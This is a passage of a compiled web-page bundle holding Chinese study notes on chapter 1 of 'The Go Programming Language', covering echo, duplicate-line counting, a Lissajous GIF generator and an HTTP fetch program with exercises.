    +	}
    +	fmt.Println(getParams)
    +}
    +
    +
    package main
    +
    +import (
    +	"GoLearning/pkg/cmd_param"
    +)
    +
    +func main() {
    +	cmd_param.Print_cmd_args()
    +}
    +
    +

    image-20221122225915715


    优化上述 echo 程序

    在上述代码中, 命令行参数的获取是这样进行的:

    for i := 0; i < len(os.Args); i++ {
    +    getParams += os.Args[i] + sep
    +}
    +

    那么首先需要遍历 os.Args 获取其长度, 在进入每次循环时需要先根据索引 i 遍历 os.Args 获取到 os.Args[i], 然后再拼接到 getParams 的末尾再拼个空格

    可以使用切片来对此步骤进行优化

    // 使用切片构造 echo 语句
    +func Echo_Slice() {
    +	var getParams, sep string
    +	sep = " "
    +	for _, arg := range os.Args[1:] {
    +		getParams += arg + sep
    +	}
    +	fmt.Println(getParams)
    +}
    +

    image-20221122234757090


    每次循环迭代字符串 getParams 的内容都会更新。+= 连接原字符串、空格和下个参数,产生新字符串,并把它赋值给 getParamsgetParams 原来的内容已经不再使用,将在适当时机对它进行垃圾回收

    如果连接涉及的数据量很大,这种方式代价高昂。一种简单且高效的解决方案是使用 strings 包的 Join 函数:

    // 使用 strings.Join() 方法构造 echo 语句
    +func Echo_Join() {
    +	fmt.Println(strings.Join(os.Args[1:], " "))
    +}
    +

    image-20221122235236614


    如果不关心输出格式的话, 直接打印 os.Args[1:] 也是可以的

    // 不考虑输出格式, 直接打印 os.Args 切片
    +func Echo_direct_print_slice() {
    +	fmt.Println(os.Args[1:])
    +}
    +
    package main
    +
    +import (
    +	"GoLearning/pkg/cmd_param"
    +	"fmt"
    +)
    +
    +func main() {
    +	fmt.Println("echo 基本写法:")
    +	cmd_param.Print_cmd_args()
    +	fmt.Println("echo 切片写法:")
    +	cmd_param.Echo_Slice()
    +	fmt.Println("echo strings.Join() 写法:")
    +	cmd_param.Echo_Join()
    +	fmt.Println("echo 直接打印切片:")
    +	cmd_param.Echo_direct_print_slice()
    +}
    +
    +

    image-20221122235412091


    `,34),an=n("p",null,"TODO:: 加入计时分析, 以直观地对比各优化版本的实际效果",-1),tn={href:"https://gopl-zh.github.io/ch1/ch1-06.html",target:"_blank",rel:"noopener noreferrer"},en=n("code",null,"time",-1),on={href:"https://gopl-zh.github.io/ch11/ch11-04.html",target:"_blank",rel:"noopener noreferrer"},pn=n("hr",null,null,-1),cn=n("h3",{id:"ch1-3-查找重复的行",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#ch1-3-查找重复的行","aria-hidden":"true"},"#"),s(" ch1.3 查找重复的行")],-1),ln={href:"https://gopl-zh.github.io/ch1/ch1-03.html",target:"_blank",rel:"noopener noreferrer"},un=e(`

    对文件做拷贝、打印、搜索、排序、统计或类似事情的程序都有一个差不多的程序结构:一个处理输入的循环,在每个元素上执行计算处理,在处理的同时或最后产生输出。

    本节展示一个名为dup 的程序的三个版本;灵感来自于 Unix 的 uniq 命令,其寻找相邻的重复行。


    dup 的第一个版本打印标准输入中多次出现的行,以重复次数开头。该程序将引入 if 语句,map 数据类型以及 bufio 包。

    package ch1
    +
    +import (
    +	"bufio"
    +	"fmt"
    +	"os"
    +)
    +
    +// 打印标准输入中多次出现的行, 以重复次数开头
    +func Dup1() {
    +	// 创建一个空的 map, 键为 string, 值为 int
    +	counts := make(map[string]int)
    +	// 创建一个从标准输入读取数据的 Scanner
    +	input := bufio.NewScanner(os.Stdin)
    +	// 逐行读取标准输入并更新 map counts
    +	for input.Scan() {
    +		// 遇到 0 时, input.Scan() 退出循环
    +		if input.Text() == "0" {
    +			break
    +		}
    +		counts[input.Text()]++
    +
    +	}
    +	// 注意: 忽略input.Err()中可能的错误
    +	for line, n := range counts {
    +		if n > 1 {
    +			fmt.Printf("%d\\t%s\\n", n, line)
    +		}
    +	}
    +}
    +
    +

    image-20230108234453299

    `,6),dn=e("

    map 从功能上来说和 Python 的 dict 比较像, 都可以存储键值对

    map 存储了键/值(key/value)的集合,对集合元素,提供常数时间的存、取或测试操作。

    内置函数 make 创建空 map

    ",4),rn={href:"https://gopl-zh.github.io/ch4/ch4-03.html",target:"_blank",rel:"noopener noreferrer"},kn=e(`
  • bufio 包使处理输入和输出方便又高效。Scanner 类型是该包最有用的特性之一,它读取输入并将其拆成行或单词;通常是处理行形式的输入最简单的方法。

    程序使用短变量声明创建 bufio.Scanner 类型的变量 input

    input := bufio.NewScanner(os.Stdin)
    +

    该变量从程序的标准输入中读取内容。每次调用 input.Scan(),即读入下一行,并移除行末的换行符;读取的内容可以调用 input.Text() 得到。Scan 函数在读到一行时返回 true,不再有输入时返回 false

  • if 后面跟的条件语句不用括号, 但是主体部分必须加花括号, 就算只有一行也要加

    image-20230109000500558

  • map 中不含某个键时不用担心,首次读到新行时,等号右边的表达式 counts[line] 的值将被计算为其类型的零值,对于 int0

  • 关于 Printf 格式化输出:

    %d          十进制整数
    +%x, %o, %b  十六进制,八进制,二进制整数。
    +%f, %g, %e  浮点数: 3.141593 3.141592653589793 3.141593e+00
    +%t          布尔:true或false
    +%c          字符(rune) (Unicode码点)
    +%s          字符串
    +%q          带双引号的字符串"abc"或带单引号的字符'c'
    +%v          变量的自然形式(natural format)
    +%T          变量的类型
    +%%          字面上的百分号标志(无操作数)
    +
  • `,4),mn=e(`

    很多程序要么从标准输入中读取数据,如上面的例子所示,要么从一系列具名文件中读取数据。dup 程序的下个版本读取标准输入或是使用 os.Open 打开各个具名文件,并操作它们。

    // 统计标准输入或文件中重复的行
    +func countLines(f *os.File, counts map[string]int) {
    +	input := bufio.NewScanner(f)
    +	for input.Scan() {
    +		// 遇到 -1 时, input.Scan() 退出循环
    +		if input.Text() == "-1" {
    +			break
    +		}
    +		counts[input.Text()]++
    +	}
    +	// 注意: 忽略input.Err()中可能的错误
    +}
    +
    +// 读取标准输入或是使用 os.Open 打开各个具名文件,并操作它们
    +func Dup2() {
    +	counts := make(map[string]int)
    +	files := os.Args[1:]
    +	if len(files) == 0 {
    +		countLines(os.Stdin, counts)
    +	} else {
    +		for _, arg := range files {
    +			f, err := os.Open(arg)
    +			if err != nil {
    +				fmt.Fprintf(os.Stderr, "dup2: %v\\n", err)
    +				continue
    +			}
    +			countLines(f, counts)
    +			f.Close()
    +		}
    +	}
    +	for line, n := range counts {
    +		if n > 1 {
    +			fmt.Printf("%d\\t%s\\n", n, line)
    +		}
    +	}
    +}
    +


    dup 的前两个版本以"流”模式读取输入,并根据需要拆分成多个行。理论上,这些程序可以处理任意数量的输入数据。

    还有另一个方法,就是一口气把全部输入数据读到内存中,一次分割为多行,然后处理它们。下面这个版本,dup3,就是这么操作的。这个例子引入了 ReadFile 函数(来自于io/ioutil包),其读取指定文件的全部内容,strings.Split 函数把字符串分割成子串的切片。(Split 的作用与前文提到的 strings.Join 相反。)

    // 一次性读取指定文件到内存中, 然后进行分割与计算重复行的操作
    +func Dup3() {
    +	counts := make(map[string]int)
    +	for _, filename := range os.Args[1:] {
    +		data, err := ioutil.ReadFile(filename)
    +		if err != nil {
    +			fmt.Fprintf(os.Stderr, "dup3: %v\\n", err)
    +			continue
    +		}
    +		for _, line := range strings.Split(string(data), "\\n") {
    +			counts[line]++
    +		}
    +	}
    +	for line, n := range counts {
    +		if n > 1 {
    +			fmt.Printf("%d\\t%s\\n", n, line)
    +		}
    +	}
    +}
    +

    image-20230109005116705

    仔细看上图中的输出会发现 cmd3 只计算到了 2 次, 这是因为文件最后没有换行, 可以将所有键值对输出看看:

    image-20230109005755298

    可以看到有两个 cmd3

    这是因为我们使用的 \\n 切分的字符串, Windows 下的默认行尾序列时 CRLF 也即 \\r\\n, VSCode 中可以调节行尾序列, 这里我用的 Windows 系统, VSCode 中默认也是 CRLF, 所以实际上最后三行切分的结果是: cmd3\\r, cmd3\\r, cmd3; 因此输出的时候会看到两个 cmd3

    如果修改为根据 \\r\\n 切分的话就可以得到预期结果了:

    image-20230109005903573

    除此以外,在 Go 1.16 之后 io/ioutil 已经弃用了

    image-20230110230449977

    image-20230110230328271

    这里可以直接使用 os.ReadFile, 效果是一样的:

    image-20230110230525093


    ch1.4 GIF 动画

    package ch1
    +
    +import (
    +	"image"
    +	"image/color"
    +	"image/gif"
    +	"io"
    +	"math"
    +	"math/rand"
    +	"os"
    +	"time"
    +)
    +
    +var palette = []color.Color{color.White, color.Black}
    +
    +const (
    +	whiteIndex = 0 // first color in palette
    +	blackIndex = 1 // next color in palette
    +)
    +
    +func LissajousMain() {
    +	rand.Seed(time.Now().UTC().UnixNano())
    +	lissajous(os.Stdout)
    +}
    +
    +func lissajous(out io.Writer) {
    +	const (
    +		cycles  = 5     // number of complete x oscillator revolutions
    +		res     = 0.001 // angular resolution
    +		size    = 100   // image canvas covers [-size..+size]
    +		nframes = 64    // number of animation frames
    +		delay   = 8     // delay between frames in 10ms units
    +	)
    +	/* rand.Float64() 返回一个 64 位也即小数点后保留 16 位的浮点数 f,
    +	0.0 <= f < 1.0*/
    +	freq := rand.Float64() * 3.0 // relative frequency of y oscillator
    +	anim := gif.GIF{LoopCount: nframes}
    +	phase := 0.0 // phase difference
    +	for i := 0; i < nframes; i++ {
    +		rect := image.Rect(0, 0, 2*size+1, 2*size+1)
    +		img := image.NewPaletted(rect, palette)
    +		for t := 0.0; t < cycles*2*math.Pi; t += res {
    +			x := math.Sin(t)
    +			y := math.Sin(t*freq + phase)
    +			img.SetColorIndex(size+int(x*size+0.5), size+int(y*size+0.5),
    +				blackIndex)
    +		}
    +		phase += 0.1
    +		anim.Delay = append(anim.Delay, delay)
    +		anim.Image = append(anim.Image, img)
    +	}
    +	// EncodeAll 函数将生成的  gif anim 写入到 out 中
    +	gif.EncodeAll(out, &anim) // NOTE: ignoring encoding errors
    +}
    +
    +

    image-20230109230457018

    out

    `,17),vn=n("li",null,[n("p",null,[n("code",null,"line27~33"),s(" 的常量声明给出了一系列的常量值,常量是指在程序编译后运行时始终都不会变化的值,比如圈数、帧数、延迟值。常量声明和变量声明一般都会出现在包级别,所以这些常量在整个包中都是可以共享的,或者你也可以把常量声明定义在函数体内部,那么这种常量就只能在函数体内用。目前常量声明的值必须是一个数字值、字符串或者一个固定的 boolean 值。")])],-1),gn=n("li",null,[n("p",null,[n("code",null,"[]color.Color{...}"),s(" 和 "),n("code",null,"gif.GIF{...}"),s(" 这两个表达式是复合声明(4.2 和 4.4.1 节有说明)。这是实例化 Go 语言里的复合类型的一种写法。")]),n("p",null,"前者生成的是一个 slice 切片,后者生成的是一个 struct 结构体。")],-1),bn=e(`

    lissajous 函数内部有两层嵌套的 for 循环。外层循环会循环 64 次,每一次都会生成一个单独的动画帧。它生成了一个包含两种颜色的 201*201 大小的图片,白色和黑色。所有像素点都会被默认设置为其零值(也就是调色板 palette 里的第 0 个值),这里我们设置的是白色。每次外层循环都会生成一张新图片,并将一些像素设置为黑色。其结果会 append 到之前结果之后。这里我们用到了 append(参考 4.2.1)内置函数,将结果 append 到 anim 中的帧列表末尾,并设置一个默认的 80ms 的延迟值。循环结束后所有的延迟值被编码进了 GIF 图片中,并将结果写入到输出流。out 这个变量是 io.Writer 类型,这个类型支持把输出结果写到很多目标,很快我们就可以看到例子。

    内层循环设置两个偏振值。x 轴偏振使用 sin 函数。y 轴偏振也是正弦波,但其相对 x 轴的偏振是一个 0-3 的随机值,初始偏振值是一个零值,随着动画的每一帧逐渐增加。循环会一直跑到 x 轴完成五次完整的循环。每一步它都会调用 SetColorIndex 来为(x,y)点来染黑色。

    main 函数调用 lissajous 函数,用它来向标准输出流打印信息,所以下面这个命令会像图 1.1 中产生一个 GIF 动画。

    go build main
    +main.exe > out.gif
    +
    `,4),hn=n("p",null,"Windows 下需要在 CMD 下执行该命令, 使用 powershell 生成的 gif 文件无法查看, 检查 hex 可以看到一些 00",-1),fn=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202301100000401.png",alt:"image-20230110000030361"})],-1),_n=n("p",null,"可参阅:",-1),qn={href:"https://stackoverflow.com/questions/56323293/go-generated-animated-gifs-didnt-work-in-windows",target:"_blank",rel:"noopener noreferrer"},yn={href:"https://github.com/golang/go/issues/13746",target:"_blank",rel:"noopener noreferrer"},wn={href:"https://github.com/golang/go/issues/42337",target:"_blank",rel:"noopener noreferrer"},xn={href:"https://www.cnblogs.com/linxiaoxu/p/16187331.html",target:"_blank",rel:"noopener noreferrer"},En=n("p",null,[s("如果使用 powershell 重定向管道 "),n("code",null,"go run main.exe > out.gif"),s(" 生成的 gif 图片将会出错无法打开。具体原因是 powershell 的标准输出流如果进行管道重定向会进行转换。")],-1),An=n("code",null,'"\\n"',-1),Gn=n("code",null,'"\\r\\n"',-1),Pn={href:"https://golang.org/pkg/image/gif/#EncodeAll",target:"_blank",rel:"noopener noreferrer"},Cn=n("code",null,"gif.EncodeAll()",-1),Sn=n("code",null,"cmd.exe",-1),Bn=n("p",null,[s("解决方法可以用其他命令行工具比如 cmd,或者在代码中明确使用 "),n("code",null,"os.File"),s(" 创建文件等形式。")],-1),Fn=e(`

    TODO: 这节内容其实有一些代码没有完全理解, 后面学完 ch4 再回来看看


    ch1.5 获取 URL

    Go 语言在 net package 的帮助下提供了一些列的 package 来访问互联网上的信息, 使用这些包可以更简单地用网络收发信息, 还可以建立更底层的网络连接, 编写服务器程序, 在这些情景下, Go 语言原生的并发特性显得尤其好用

    在第八章中会介绍 Go 语言原生的并发特性

    TODO: 在可以建立更底层的网络连接方面看起来似乎可以用来构造一些欺骗性质的请求, 之后遇到可以试试

    下面是一个 fetch 程序的示例, fetch 到对应 url 并打印响应文本

    这个例子的灵感来源于 curl

    package ch1
    +
    +import (
    +	"fmt"
    +	"io"
    +	"net/http"
    +	"os"
    +)
    +
    +func PrintResponseBody() {
    +	for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
    +		resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
    +		// 如果有错误发生,打印错误信息并退出程序并返回错误码1
    +		if err != nil {
    +			fmt.Fprintf(os.Stderr, "fetch: %v\\n", err)
    +			os.Exit(1)
    +		}
    +		b, err := io.ReadAll(resp.Body) // 读取响应体
    +		resp.Body.Close()               // 关闭响应体
    +		if err != nil {
    +			fmt.Fprintf(os.Stderr, "fetch: reading %s: %v\\n", url, err)
    +			os.Exit(1)
    +		}
    +		fmt.Printf("%s", b) // 打印响应体
    +	}
    +
    +}
    +
    +
    `,8),Rn=e(`

    image-20230316012053363

    上述是请求成功的情况

    请求失败:

    image-20230316013107635

    超时:

    image-20230316013139581

    译注:在大天朝的网络环境下很容易重现这种错误,下面是 Windows 下运行得到的错误信息:

    $ go run main.go http://gopl.io
    +fetch: Get http://gopl.io: dial tcp: lookup gopl.io: getaddrinfow: No such host is known.
    +

    无论哪种失败原因,上述程序都用了 os.Exit 函数来终止进程,并且返回一个 status 错误码,其值为 1。

    `,2),Tn=n("p",null,[n("code",null,":="),s(" 是一个赋值运算符, 用于 "),n("code",null,"声明并初始化"),s(" 一个变量, 其左边是一个或多个变量, 右边是一个或多个表达式")],-1),zn=n("p",null,[n("code",null,":="),s(" 运算符只能用在函数内部,不能用在全局作用域")],-1),Hn=n("p",null,[s("它可以简化变量的声明和赋值过程,不需要使用 "),n("code",null,"var"),s(" 关键字或指定变量的类型")],-1),Dn={href:"https://stackoverflow.com/questions/16521472/assignment-operator-in-go-language",target:"_blank",rel:"noopener noreferrer"},Ln=e(`
  • Go 语言中, os.Args 是一个字符串切片,用于存储命令行参数

    os.Args[0] 是程序名称, os.Args[1:] 是程序的参数, 例如当前目录下有一个名为 hello.go 的程序, 在命令行中使用如下语句编译并运行该程序文件

    go run hello.go world !
    +

    那么 os.Args 的值就是:

    ["hello", "world", "!"]
    +

    range os.Args[1:] 是一个 for 循环语法, 用于遍历切片中的每个元素, range 的返回结果是 索引 元素值 的形式, 例如:

    for i, arg := range os.Args[1:] {
    +    fmt.Println(i, arg) // 打印索引和参数
    +}
    +

    输出

    0 world
    +1 !
    +

    在本节的示例程序中使用了 _ 来承接循环体内不会使用到的索引值

  • http.Get(url) 返回一个响应对象和一个错误对象

    响应对象中包含了响应的状态码, 头部, 正文等信息

    错误对象表示请求过程中发生了错误, 如果没有错误则错误对象为 nil

  • nil 是一个预定义的标识符,表示指针、通道、函数、接口、映射或切片类型的零值

  • `,3),Nn=n("p",null,[n("code",null,"Fprintf"),s(" 和 "),n("code",null,"printf"),s(" 之间的主要区别是输出目标不同。")],-1),Wn=n("p",null,[n("code",null,"Fprintf"),s(" 可以指定任意的 "),n("code",null,"io.Writer"),s(" 作为输出目标")],-1),In=n("p",null,[n("code",null,"printf"),s(" 只能输出到标准输出流。")],-1),On={href:"https://stackoverflow.com/questions/4627330/difference-between-fprintf-printf-and-sprintf",target:"_blank",rel:"noopener noreferrer"},Un={href:"https://stackoverflow.com/questions/53879154/println-vs-printf-vs-print-in-go",target:"_blank",rel:"noopener noreferrer"},Vn=e(``,1),jn=e("
  • os.Stderr 是 Go 语言中的一个标准错误输出流, 它是一个 io.Writter 类型的接口, 可以用于向标准错误输出(通常是中断或者控制台) 写入数据

    一般情况下, 我们可以使用 os.Stderr 来打印错误信息或调试信息, 而不影响正常的标准输出流

  • ",1),Jn=e("

    ioutil.ReadAll 用于从一个 Io.Reader 中读取所有数据

    io.Reader 是一个接口, 表示可以从某个某个实体中读取数据流的能力, 具体来说, 它允许你从实现了 io.Reader 接口中的东西读取数据到一个字节切片中, 一些常见的实现了 io.Reader 接口的类型有:

    ",3),Mn={href:"https://www.jianshu.com/p/758c4e2b4ab8",target:"_blank",rel:"noopener noreferrer"},Kn=n("p",null,[s("使用 "),n("code",null,"ioutil.ReadAll(resp.Body)"),s(" 读取了响应体之后,需要使用 "),n("code",null,"resp.Body.Close()"),s(" 关闭响应体,是因为")],-1),$n=e("
  • resp.Body 是一个 io.ReadCloser 类型的接口, 它包含了 io.Readerio.Closer 两个接口

    io.Closer 接口定义了一个 Close() 方法, 用于关闭资源并释放底层的文件描述符

  • 如果不关闭 resp.Body, 那么底层的网络连接将无法被复用, 导致资源泄露与性能下降

  • ",2),Qn=n("p",null,[s("通常情况下, 我们应当在读取完 "),n("code",null,"resp.Body"),s(" 后立即调用 "),n("code",null,"resp.Body.Close()"),s(" 来关闭响应体, 并且使用 "),n("code",null,"defer"),s(" 语句确保在函数返回时一定会执行这个操作")],-1),Xn={href:"https://stackoverflow.com/questions/38673673/access-http-response-as-string-in-go",target:"_blank",rel:"noopener noreferrer"},Yn=e(`
    var client http.Client
    +resp, err := client.Get(url)
    +if err != nil {
    +    log.Fatal(err)
    +}
    +defer resp.Body.Close()
    +
    +if resp.StatusCode == http.StatusOK {
    +    bodyBytes, err := io.ReadAll(resp.Body)
    +    // if u want to read the body many time
    +    // u need to restore
    +    // reader := io.NopCloser(bytes.NewReader(bodyBytes))
    +    if err != nil {
    +        log.Fatal(err)
    +    }
    +    bodyString := string(bodyBytes)
    +    log.Info(bodyString)
    +}
    +
    `,1),Zn={href:"https://stackoverflow.com/questions/38673673/access-http-response-as-string-in-go",target:"_blank",rel:"noopener noreferrer"},ns={href:"https://stackoverflow.com/questions/52076747/how-do-i-turn-an-io-reader-into-a-io-readcloser/52076748#52076748",target:"_blank",rel:"noopener noreferrer"},ss=n("p",null,[s("不过 "),n("code",null,"Go 1.16"),s(" 版本弃用了 "),n("code",null,"io/ioutil"),s(", 可以使用 "),n("code",null,"io.ReadAll"),s(" 代替 "),n("code",null,"ioutil.ReadAll")],-1),as={href:"https://go.dev/doc/go1.16#ioutil",target:"_blank",rel:"noopener noreferrer"},ts=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202303160102329.png",alt:"image-20230316010211279"})],-1),es=e(`

    练习 1.7 使用 io.Copy 替代 io.outil.ReadAll

    函数调用 io.Copy(dst, src) 会从 src 中读取内容,并将读到的结果写入到 dst 中,使用这个函数替代掉例子中的 ioutil.ReadAll 来拷贝响应结构体到 os.Stdout,避免申请一个缓冲区(例子中的 b)来存储。记得处理 io.Copy 返回结果中的错误。

    /*
    +练习 1.7:
    +
    +函数调用io.Copy(dst, src)会从src中读取内容,并将读到的结果写入到dst中,
    +使用这个函数替代掉例子中的 ioutil.ReadAll 来拷贝响应结构体到 os.Stdout,避免申请一个缓冲区(例子中的b)来存储。
    +记得处理io.Copy返回结果中的错误。
    +*/
    +package ch1
    +
    +import (
    +	"fmt"
    +	"io"
    +	"log"
    +	"net/http"
    +	"os"
    +)
    +
    +func PrintResponseBody_Copy() {
    +	for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
    +		resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
    +		// 如果有错误发生,打印错误信息并退出程序并返回错误码1
    +		if err != nil {
    +			fmt.Fprintf(os.Stderr, "fetch: %v\\n", err)
    +			os.Exit(1)
    +		}
    +		defer resp.Body.Close() // 关闭响应体
    +
    +		n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
    +		if err != nil {
    +			log.Fatal(err)
    +		}
    +		fmt.Printf("Copied %d bytes", n)
    +	}
    +}
    +
    +

    练习 1.8 补充前缀

    修改 fetch 这个范例,如果输入的 url 参数没有 http:// 前缀的话,为这个 url 加上该前缀。你可能会用到 strings.HasPrefix 这个函数。

    /*
    +练习 1.8
    +修改fetch这个范例,如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀。
    +你可能会用到strings.HasPrefix这个函数。
    +*/
    +package ch1
    +
    +import (
    +	"fmt"
    +	"io"
    +	"log"
    +	"net/http"
    +	"os"
    +	"strings"
    +)
    +
    +func PrintResponseBody_Copy_Prefix() {
    +	for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
    +		// 如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀
    +		if !strings.HasPrefix(url, "http://") {
    +			url = "http://" + url
    +			fmt.Printf("输入的url参数没有 http:// 前缀,已为该url加上该前缀\\n当前url为: %s\\n", url)
    +		}
    +		resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
    +		// 如果有错误发生,打印错误信息并退出程序并返回错误码1
    +		if err != nil {
    +			fmt.Fprintf(os.Stderr, "fetch: %v\\n", err)
    +			os.Exit(1)
    +		}
    +		defer resp.Body.Close() // 关闭响应体
    +
    +		n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
    +		if err != nil {
    +			log.Fatal(err)
    +		}
    +		fmt.Printf("Copied %d bytes \\n", n)
    +	}
    +}
    +
    +

    image-20230317010022530


    练习 1.9 输出状态码

    修改 fetch 打印出 HTTP 协议的状态码,可以从 resp.Status 变量得到该状态码。

    /*
    +练习 1.9
    +修改 fetch 打印出HTTP协议的状态码,可以从 resp.Status 变量得到该状态码。
    +*/
    +package ch1
    +
    +import (
    +	"fmt"
    +	"io"
    +	"log"
    +	"net/http"
    +	"os"
    +	"strings"
    +)
    +
    +func PrintResponseBody_Copy_Prefix_Status() {
    +	for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
    +		// 如果输入的url参数没有 http:// 前缀的话,为这个url加上该前缀
    +		if !strings.HasPrefix(url, "http://") {
    +			url = "http://" + url
    +			fmt.Printf("输入的url参数没有 http:// 前缀,已为该url加上该前缀\\n当前url为: %s\\n", url)
    +		}
    +		resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
    +		// 如果有错误发生,打印错误信息并退出程序并返回错误码1
    +		if err != nil {
    +			fmt.Fprintf(os.Stderr, "fetch: %v\\n", err)
    +			os.Exit(1)
    +		}
    +		defer resp.Body.Close() // 关闭响应体
    +
    +		// 打印HTTP协议的状态码
    +		fmt.Printf("HTTP协议的状态码: %s", resp.Status)
    +
    +		n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
    +		if err != nil {
    +			log.Fatal(err)
    +		}
    +		fmt.Printf("Copied %d bytes \\n", n)
    +	}
    +}
    +
    +

    image-20230317010910303


    CH2 程序结构


    CH2.1 命名

    Go 语言中的函数名、变量名、常量名、类型名、语句标号和包名等所有的命名,都遵循一个简单的命名规则:一个名字必须以一个字母(Unicode 字母)或下划线开头,后面可以跟任意数量的字母、数字或下划线。

    大写字母和小写字母是不同的:heapSortHeapsort 是两个不同的名字。

    `,23);function os(ps,cs){const t=i("ExternalLinkIcon"),l=i("Tabs");return d(),r("div",null,[m,n("blockquote",null,[n("p",null,[n("a",v,[s("入门 - Go 语言圣经 (gopl-zh.github.io)"),a(t)])]),g]),b,h,f,n("blockquote",null,[n("p",null,[n("a",_,[s("Hello, World - Go 语言圣经 (gopl-zh.github.io)"),a(t)])]),q]),y,n("blockquote",null,[w,n("blockquote",null,[n("p",null,[n("a",x,[s("Relative imports in Go - Stack Overflow"),a(t)])]),n("p",null,[n("a",E,[s("go - func not exported by package. - SegmentFault 思否"),a(t)])]),A]),G,n("blockquote",null,[n("ul",null,[P,n("li",null,[C,n("blockquote",null,[n("p",null,[n("a",S,[s("Relative imports in Go - Stack Overflow"),a(t)])]),B]),n("blockquote",null,[n("p",null,[s("在 "),n("a",F,[s("Hello World"),a(t)]),s(" 章节最开始做的第一步就是初始化了一个 Go 应用, 在这个过程里就定义了应用名")]),R])]),n("li",null,[T,n("blockquote",null,[n("p",null,[n("a",z,[s("go - func not exported by package. - SegmentFault 思否"),a(t)])]),H]),D])])]),L,n("ul",null,[n("li",null,[N,W,I,O,n("blockquote",null,[U,n("blockquote",null,[n("p",null,[n("a",V,[s("go test - Go 语言圣经 (gopl-zh.github.io)"),a(t)])]),n("p",null,[n("a",j,[s("测试函数 - Go 语言圣经 (gopl-zh.github.io)"),a(t)])]),J]),M])])])]),K,n("blockquote",null,[n("p",null,[n("a",$,[s("Golang 单引号、双引号和反引号 - 腾讯云开发者社区-腾讯云 (tencent.com)"),a(t)])]),Q]),X,a(l,{id:"475",data:[{id:"bellow go1.17.1"},{id:"above go1.17.1"}],active:1},{title0:o(({value:p,isActive:c})=>[s("bellow go1.17.1")]),title1:o(({value:p,isActive:c})=>[s("above go1.17.1")]),tab0:o(({value:p,isActive:c})=>[Y]),tab1:o(({value:p,isActive:c})=>[Z]),_:1}),n("blockquote",null,[n("p",null,[s("对于大多数用户来说,下载、编译包、运行测试用例、察看 Go 语言的文档等等常用功能都可以用 go 的工具完成。学习 "),n("a",nn,[s("10.7 节"),a(t)]),s(" 时会详细介绍这些知识。")])]),sn,n("blockquote",null,[an,n("blockquote",null,[n("p",null,[s("("),n("a",tn,[s("1.6 节"),a(t)]),s("讲解了部分 "),en,s(" 包,"),n("a",on,[s("11.4 节"),a(t)]),s("展示了如何写标准测试程序,以得到系统性的性能评测。)")])])]),pn,cn,n("blockquote",null,[n("p",null,[n("a",ln,[s("查找重复的行 - Go 语言圣经 (gopl-zh.github.io)"),a(t)])])]),un,n("ul",null,[n("li",null,[dn,n("blockquote",null,[n("p",null,[s("关于 Map 的其他用法学到 4.3 会有一章讲解: "),n("a",rn,[s("Map - Go 语言圣经 (gopl-zh.github.io)"),a(t)])])])]),kn]),mn,n("ul",null,[vn,gn,n("li",null,[bn,n("blockquote",null,[hn,fn,_n,n("ul",null,[n("li",null,[n("p",null,[n("a",qn,[s("image - Go-generated animated GIFs didn't work in windows - Stack Overflow"),a(t)])])]),n("li",null,[n("p",null,[n("a",yn,[s("image/gif: result of EncodeAll not viewable in Eye of GNOME · Issue #13746 · golang/go (github.com)"),a(t)])])]),n("li",null,[n("p",null,[n("a",wn,[s("os: Binary data written to os.Stdout gets corrupted on Windows 8.1 · Issue #42337 · golang/go (github.com)"),a(t)])])]),n("li",null,[n("p",null,[n("a",xn,[s("《Go 语言圣经》 读书笔记与个人思考 ① 第一章、包括源码分析 - 小能日记 - 博客园 (cnblogs.com)"),a(t)])]),En,n("blockquote",null,[n("p",null,[s("The GIF file (the gif data) is a binary format, not textual. Attempting to write it to the standard output and redirecting that to a file may suffer transformations. For example, the Windows PowerShell most likely converts some control characters (like "),An,s(" to "),Gn,s("), so the resulting binary will not be identical to what "),n("a",Pn,[Cn,a(t)]),s(" writes to the standard output. Apparently "),Sn,s(" does not do such transformations.")])]),Bn])])])])]),Fn,n("blockquote",null,[Rn,n("ul",null,[n("li",null,[Tn,zn,Hn,n("blockquote",null,[n("p",null,[n("a",Dn,[s("syntax - Assignment operator in Go language - Stack Overflow"),a(t)])])])]),Ln,n("li",null,[Nn,Wn,In,n("blockquote",null,[n("p",null,[n("a",On,[s("c - Difference between fprintf, printf and sprintf? - Stack Overflow"),a(t)])]),n("p",null,[n("a",Un,[s("Println vs Printf vs Print in Go - Stack Overflow"),a(t)])])]),Vn]),jn,n("li",null,[Jn,n("blockquote",null,[n("p",null,[n("a",Mn,[s("Go 编程技巧--io.Reader/Writer - 简书 (jianshu.com)"),a(t)])])])]),n("li",null,[Kn,n("ul",null,[$n,n("li",null,[Qn,n("p",null,[s("比如在 "),n("a",Xn,[s("networking - Access HTTP response as string in Go - Stack Overflow"),a(t)]),s(" 的一个回答中给出了一个示例代码")]),Yn])]),n("blockquote",null,[n("p",null,[n("a",Zn,[s("networking - Access HTTP response as string in Go - Stack Overflow"),a(t)])]),n("p",null,[n("a",ns,[s("go - How do I turn an io.Reader into a io.ReadCloser? - Stack Overflow"),a(t)])])]),ss,n("blockquote",null,[n("p",null,[n("a",as,[s("Go 1.16 Release Notes - ioutil - The Go Programming Language"),a(t)])]),ts])])])]),es])}const us=u(k,[["render",os],["__file","Go语言圣经学习随笔.html.vue"]]);export{us as default}; diff --git a/assets/HMAC.html-1ac27749.js b/assets/HMAC.html-1ac27749.js new file mode 100644 index 0000000000..85f907dfcd --- /dev/null +++ b/assets/HMAC.html-1ac27749.js @@ -0,0 +1 @@ +const 